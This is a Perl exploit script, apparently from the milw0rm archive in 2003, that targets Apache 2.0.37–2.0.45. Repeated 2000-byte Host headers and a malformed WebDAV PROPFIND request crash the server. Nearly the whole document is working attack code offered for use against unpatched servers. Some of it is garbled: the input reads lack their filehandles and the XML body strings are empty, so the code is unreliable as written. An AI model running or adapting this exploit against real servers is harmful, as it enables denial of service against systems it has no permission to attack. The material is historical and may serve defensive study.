#!/usr/bin/perl # # Apache 2.0.37 - 2.0.45 APR Exploit # Written By Matthew Murphy # # This Perl script will successfully exploit any un-patched Apache 2.x # servers. # # Base64 Encoder # # If you want authentication with the server via HTTP's lame Basic # auth, put the proper string to encode BASE64 content, and use # '%s' to represent the credentials being encoded. For instance: # # base64 %s # # would result in: # # base64 userid:password # # If your decoder requires you to use STDIN to pass the password # (no pun intended), set $BASE64_USE_STDIN to nonzero and do not # use '%s' on the command-line. $BASE64_CMD_STRING = "use_base64_encoder_here %s"; # Base64 encoder piping # # If your encoder requires the password to be written to STDIN, # set this to a nonzero value. NOTE: This requires support for # bi-directional pipes on your OS version. $BASE64_USE_STDIN = 0; # Base64 encoder input handling # # If your encoder requires a newline after your credentials, # set this to your newline character. $BASE64_WRITE_NL = ""; use IO::Socket; print STDOUT "Apache 2.0 APR Exploit\r\n"; print STDOUT "By Matthew Murphy\r\n\r\n"; print STDOUT "Enter the hostname/IP address of the server: "; $line = ; $host = mychomp($line); print STDOUT "Enter the port of the server \[80\]: "; $line = ; $port = mychomp($line); print STDOUT "Use authentication credentials for the session \[Y/N\]? "; $line = ; $char = mychomp($line); if ($char == "Y" || $char == "y") { print STDOUT "What username shall we use: "; $line = ; $user = mychomp($line); print STDOUT "What password shall we use: "; $line = ; $pass = mychomp($line); $auth = "$user:$pass"; if ($BASE64_USE_STDIN) { # l33t Perl piping trix; NOTE: This is definitely # Alpha code! :-) pipe(STDOUTREAD, STDOUTWRITE); pipe(STDINREAD, STDINWRITE); open(OLDSTDIN, "&STDIN"); open(OLDSTDOUT, ">&STDOUT"); open(STDIN, "&STDINREAD"); open(STDOUT, ">&STDOUTWRITE"); close(STDINREAD); close(STDOUTWRITE); system($BASE64_CMD_STRING); open(STDIN, "&OLDSTDIN"); open(STDOUT, "&>OLDSTDOUT"); close(OLDSTDIN); close(OLDSTDOUT); print STDINWRITE $auth; close(STDINWRITE); read(STDOUTREAD, $base64, 4096); # Edit for insane passwords close(STDOUTREAD); } else { open(READOUTPUT, sprintf($BASE64_CMD_STRING, $auth)."|"); read(READOUTPUT, $base64, 4096); # See above close(READOUTPUT); } # Another hack for dealing with base64 encoders that output # multi-lined encoded text. HTTP specifically calls for a # single line. Note that this pattern also messes with spaces, # tabs, etc., but base64 doesn't use those either, so this # shouldn't matter. $base64 = join("", split(/ /, $base64)); } else { $base64 = undef; } $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"127.0.0.1"); print STDOUT "Exploiting a proxy server \[Y/N\]? "; $line = ; $char = mychomp($line); if ($char == "Y" || $char == "y") { print $f "GET / HTTP/1.1\x0d\x0a"; # Apache 2.0 tries to limit header inputs, but uses a hash table # that ultimately concatenates multiple headers of the same name # together with ", " between them, so: # # Host: a # Host: b # # Bypasses Apache's buffer size checks, but ends up as: # # Host: a,b # # When processed. Confirm this with a TRACE against your server: # # TRACE / HTTP/1.1 # Host: a # Host: b # # The "message/http" body you receive will contain: # # TRACE / HTTP/1.1 # Host: a,b # # So, for those of you who are confused by this code fragment, # this is what it ultimately achieves! for ($i = 0; $i < 10; $i++) { print $f "Host: ".("A"x2000)."\r\n"; } if (defined($base64)) { print $f "Proxy-Authorization: Basic ".$base64."\r\n"; } print $f "\r\n"; } else { print STDOUT "What resource should be probed: "; $line = ; $res = mychomp($line); print STDOUT "Exploit a DAV repository for this attack? \[Y/N\] "; $line = ; $char = mychomp($line); if ($char == "Y" || $char == "y") { # WARNING: # Another section of alpha code here; mod_dav tends to barf # if given the smallest inconsistency, and this is not # exactly well-researched. If this doesn't work for you, # target your DAV repository as a typical resource: if # UseCanonicalName On hasn't been set explicitly, mod_dav # will choke on that as well. # # STunnel should not have issues with this, as you can't # use a "Host" header in an SSL connection anyway, so # that is no problem. # # Note that if the body is too long, IIS servers will also # die (assuming of course, that the latest IIS cumulative # patch has not been applied), as they have had problems # dealing with WebDAV in the very recent past. # XML Body of Request # # If everything works, mod_dav will attempt to format a # message with apr_psprintf() to indicate that our # namespace is invalid, leading to a crash. $xmlbody = "\r\n"; $xmlbody.= "\r\n"; $xmlbody.= "\x20\x20\x20\x20\r\n"; $xmlbody.= ""; # HTTP headers print $f "PROPFIND $res HTTP/1.1\r\n"; print $f "Host: $host:$port\r\n"; print $f "Depth: 1\r\n"; print $f "Content-Type: text/xml; charset=\"utf-8\"\r\n"; print $f "Content-Length: ".length($body)."\r\n\r\n"; if (defined($base64)) { print $f "Authorization: Basic ".$base64."\r\n"; } print $f "$xmlbody\r\n\r\n"; } else { # This does *almost* the exact same thing as the mod_proxy # code, and could be considered wasteful, but a few extra # CPU cycles never killed anybody. :-( print $f "GET $res HTTP/1.1\r\n"; for ($i = 0; $i < 10; $i++) { print $f "Host: ".("A"x2000)."\r\n"; } if (defined($base64)) { print $f "Authorization: Basic ".$base64."\r\n"; } print $f "\r\n"; } } while (defined($ln = <$f>)) { print STDOUT $ln; } undef $f; exit; # FIXED: The perl chomp() function is broken on my distro, # so I hacked a fix to work around it. This note applies # to ActivePerl 5.8.x -- I haven't tried others. This is # another hackish fix, which seems to be the entire style # of this code. I'll write better toys when I have time to # write better toys. sub mychomp { my $data; my $arg = shift; my $CRLF; if ($^O == "MSWin32") { $CRLF = 1; } else { $CRLF = 0; } $data = substr($arg, 0, length($arg) - $CRLF); return $data; } # milw0rm.com [2003-06-08]

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